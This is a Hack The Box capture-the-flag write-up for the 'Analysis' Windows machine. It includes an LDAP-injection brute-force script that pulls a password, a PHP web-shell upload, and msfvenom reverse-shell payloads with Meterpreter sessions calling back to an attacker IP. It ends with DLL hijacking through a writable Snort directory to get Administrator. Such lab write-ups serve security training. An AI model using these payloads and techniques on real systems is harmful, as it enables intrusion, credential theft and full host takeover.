Skip to main content
  1. Posts/

Analysis - HTB

·12 mins
htb dll-injection

As always we start with a port scan:

╰─ nmap -sC -sV 10.129.230.179              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 17:54 CDT
Nmap scan report for 10.129.230.179
Host is up (0.030s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-29 22:55:04Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3306/tcp open  mysql         MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| smb2-time: 
|   date: 2024-05-29T22:55:07
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.61 seconds

The first thing that catches my eye is analysis.htb being used for LDAP and we can add it to our /etc/hosts file to see the site:

analysis-1.png

There wasn’t too much to look into on this site so we can move on to subdomain enumeration and find another domain.

╰─ ffuf -u http://analysis.htb -H "Host: FUZZ.analysis.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://analysis.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.analysis.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

internal                [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 122ms]
:: Progress: [4989/4989] :: Job [1/1] :: 638 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

We can go ahead and add internal.analysis.htb to our hosts file and take a look there. The page itself in the frontend gives me a bunch of 404 errors so I opted to scan for directories:

╰─ ffuf -u http://internal.analysis.htb/FUZZ  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -c -recursion -e .php,.txt,.aspx

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://internal.analysis.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Extensions       : .php .txt .aspx 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

users                   [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 39ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/users/FUZZ

dashboard               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 41ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/FUZZ

employees               [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 315ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/employees/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 41ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/users/FUZZ

list.php                [Status: 200, Size: 17, Words: 2, Lines: 1, Duration: 131ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/FUZZ

js                      [Status: 301, Size: 177, Words: 9, Lines: 2, Duration: 34ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/js/FUZZ

upload.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
index.php               [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 33ms]
css                     [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 296ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/css/FUZZ

img                     [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 309ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/img/FUZZ

logout.php              [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 309ms]
lib                     [Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 306ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/lib/FUZZ

uploads                 [Status: 301, Size: 182, Words: 9, Lines: 2, Duration: 310ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/uploads/FUZZ

form.php                [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 43ms]
tickets.php             [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 40ms]
details.php             [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 44ms]
license.txt             [Status: 200, Size: 1422, Words: 253, Lines: 35, Duration: 39ms]
emergency.php           [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 43ms]
                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 33ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/employees/FUZZ

login.php               [Status: 200, Size: 1085, Words: 413, Lines: 30, Duration: 100ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/js/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/css/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 39ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/img/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/lib/FUZZ

chart                   [Status: 301, Size: 184, Words: 9, Lines: 2, Duration: 37ms]
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/lib/chart/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 37ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/uploads/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 38ms]
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/lib/chart/FUZZ

                        [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 41ms]
:: Progress: [106336/106336] :: Job [10/10] :: 298 req/sec :: Duration: [0:00:36] :: Errors: 81 ::

At /employees/login.php we see a login page which isn’t too surprising and it seems resilient to some default credentials and generic SQLi attempts so I move on to look at the other directories. If we look into /users/list.php we get an interesting error:

analysis-2.png

We can fuzz possible parameter names and see which ones work, in this case filtering by size because they all return 200 responses:

╰─ ffuf -u 'http://internal.analysis.htb/users/list.php/?FUZZ=something'  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -c --fs 17 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://internal.analysis.htb/users/list.php/?FUZZ=something
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 17
________________________________________________

name                    [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 85ms]
:: Progress: [38267/38267] :: Job [1/1] :: 316 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

We see some interesting behavior in the web page when we look for a name:

analysis-3.png

I initially thought this was SQL or some other query language so I tried to use the wildcard character * to indicate I wanted all records and we see the folowing:

analysis-4.png

I got stuck here for a while thinking that surely it was some kind of SQL injection but got no luck. Eventually I remembered that in the initial port scan we learned that these services are using LDAP and we can try some LDAP injection payloads.

A brief overview of LDAP injection from Synopsis describes a typical LDAP search query like this:

find("(&(cn=" + username +")(userPassword=" + pass +"))")

This seems to match up and it makes sense at this point in time. We can follow the general methodology described on Hacktricks by first testing our attribute names, adopting the query from PayloadsAllTheThings like this:

analysis-5.png

We can get another set of names like this from the sn attribute:

analysis-6.png

There is a link on HackTricks about Posix accounts that is useful for this next step which is getting the description for the target user. From here we can start to sort of brute-force information one character at a time about the user. Trying a returns nothing in the tables but something like 9 does:

analysis-7.png

analysis-8.png

I made a python script to brute force this but found that if any of the characters in the description are the wildcard (*) then we need to place a backslash in front of it:

import requests
import string

# The base URL for the requests
url = "http://internal.analysis.htb/users/list.php?name=technician)(Description={}*"

# Function to perform the brute force operation
def brute_force_description():
    description = ""
    consecutive_unfound = 0
    max_unfound_threshold = 5
    # Define the characters to test, including lowercase letters, digits, and special characters
    special_characters = "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
    characters_to_test = string.ascii_lowercase + string.digits + special_characters + string.whitespace

    while consecutive_unfound < max_unfound_threshold:
        found = False
        for char in characters_to_test:
            # Escape special characters with a backslash
            if char in special_characters:
                test_description = description + '\\' + char
            else:
                test_description = description + char
            
            response = requests.get(url.format(test_description))

            if len(response.content) == 418:  # Check if response length is 418
                if char in special_characters:
                    description += '\\' + char
                else:
                    description += char
                
                print(f"Found character: {char} - Current description: {description}")
                found = True
                consecutive_unfound = 0  # Reset the counter
                break

        if not found:
            description += "*"
            consecutive_unfound += 1
            print(f"Character not found, appending '*'. Current description: {description}")

    print(f"Final description: {description}")

if __name__ == "__main__":
    brute_force_description()

This works and we get our password:

analysis-9.png

From here we can log in to the /employee/login.php page from earlier using the username: technician@analysis.htb:

analysis-10.png

From here there are a few things to take note of: in the tickets section I found something that looks important for privilege escalation later:

analysis-11.png

If we go to the SOC Report section we can upload files:

analysis-12.png

There seems to be little sanitization and if we upload a PHP web shell we can get it working from the /uploads directory we found earlier:

analysis-13.png

I opted to use a meterpreter shell for the added utility and ease of use it provides:

╰─ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.31 LPORT=1337 -f raw > gabe.php

Uploading this and navigating to it worked but the shell dies way too quickly so I opted to use the web shell to execute another executable I uploaded that would give me a shell. Then migrating to a new process like we did in Appsanity.

╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.15.31 LPORT=1338 -f exe > gabe.exe

Then we catch it and migrate, in this output you can even see the previous session dying on us:

msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.10.15.31:1338
[*] 10.129.230.179 - Meterpreter session 2 closed.  Reason: Died
[!] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Staging x64 payload (202844 bytes) ...
[!] https://10.10.15.31:1338 handling request from 10.129.230.179; (UUID: pdoiummv) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (10.10.15.31:1338 -> 10.129.230.179:58897) at 2024-05-29 21:25:44 -0500

meterpreter > getuid
Server username: ANALYSIS\svc_web
meterpreter > execute -H -f notepad
Process 8816 created.
meterpreter > migrate 8816
[*] Migrating from 9228 to 8816...
[*] Migration completed successfully.
meterpreter >

From here we can use PrivescCheck.ps1 to look for a path to another user.

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_import PrivescCheck.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-PrivescCheck"
[+] Command execution completed:
---SNIP---

Looking through the results, we find a password for that Jhon Doe user from earlier:

analysis-14.png

Using these credentials and evil-winrm get us our user flag:

╰─ evil-winrm -u jdoe@analysis.htb -i analysis.htb                              
Enter Password: 
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\jdoe\Desktop> ls


    Directory: C:\Users\jdoe\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/30/2024  12:54 AM             34 user.txt

In addition to completing a look through Bloodhound output, if we look in the C: directory we see that Snort is being used - which is an open-source intrusion prevention system. Given I am already crawling around the file system I figured that it must be misconfigured somehow. We can get the version by using -V in the command-line:

*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V

 -*> Snort! <*-  o"  )~   Version 2.9.20-WIN64 GRE (Build 82)    ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team      Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using PCRE version: 8.10 2010-06-25           Using ZLIB version: 1.2.11

*Evil-WinRM* PS C:\Snort\bin> 

We see that the current version is 2.9.20 which seems pretty far off from the most updated version out there. And looking at our user groups in addition to the directory’s permissions, it looks like we can write into this directory:

*Evil-WinRM* PS C:\Snort\lib> net user jdoe
User name                    jdoe
Full Name                    john doe
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/4/2024 11:37:29 AM
Password expires             Never
Password changeable          1/5/2024 11:37:29 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/30/2024 12:54:40 AM

Logon hours allowed          All

Local Group Memberships      *Utilisateurs de gesti
Global Group memberships     *Utilisateurs du domai
The command completed successfully.
*Evil-WinRM* PS C:\> icacls Snort
Snort AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
      BUILTIN\Administrateurs:(I)(OI)(CI)(F)
      BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
      BUILTIN\Utilisateurs:(I)(CI)(AD)
      BUILTIN\Utilisateurs:(I)(CI)(WD)
      CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

We are allowed to add and edit files in the C:\Snort\ directory, which is likely running as a privileged process because of its purpose as an IPS. If we look at the snort config file in C:\Snort\etc\snort.conf, we can see which DLLs are being loaded:

###################################################
# Step #4: Configure dynamic loaded libraries.
# For more information, see Snort Manual, Configuring Snort - Dynamic Modules
###################################################

# path to dynamic preprocessor libraries
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor

# path to base preprocessor engine
dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll

# path to dynamic rules libraries
# dynamicdetection directory C:\Snort\lib\snort_dynamicrules

###################################################

So, we can just write in our own malicious DLL that will get used by snort the next time it runs.

╰─ msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=10.10.15.31 LPORT=1339 > sf_engine.dll

You can upload this to the C:\Snort\lib\snort_dynamicpreprocessor directory and give it a minute or so and our meterpreter session will get us a session as the administrator.

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.15.31:1339 
[*] Sending stage (201798 bytes) to 10.129.230.179
[*] Meterpreter session 4 opened (10.10.15.31:1339 -> 10.129.230.179:58983) at 2024-05-29 21:47:49 -0500

meterpreter > getuid
Server username: ANALYSIS\Administrateur

I was told after completing this box that this was unintended but months later this has not been patched so it must be pseudo-intended in some way I figure.

Related

Appsanity - HTB
·13 mins
htb dll-injection
As always, we begin with a port scan: ╰─ nmap -sC -sV 10.129.11.88 Starting Nmap 7.
Felonious Forums - HTB Web Challenge
·4 mins
web htb
In this challenge we are greeted with a web page: Let&rsquo;s go ahead and make an account and very quickly we can observe that we are able to make and post threads with markdown content.
Crafty - HTB
·7 mins
htb
We run a port scan and see that something is running on port 80: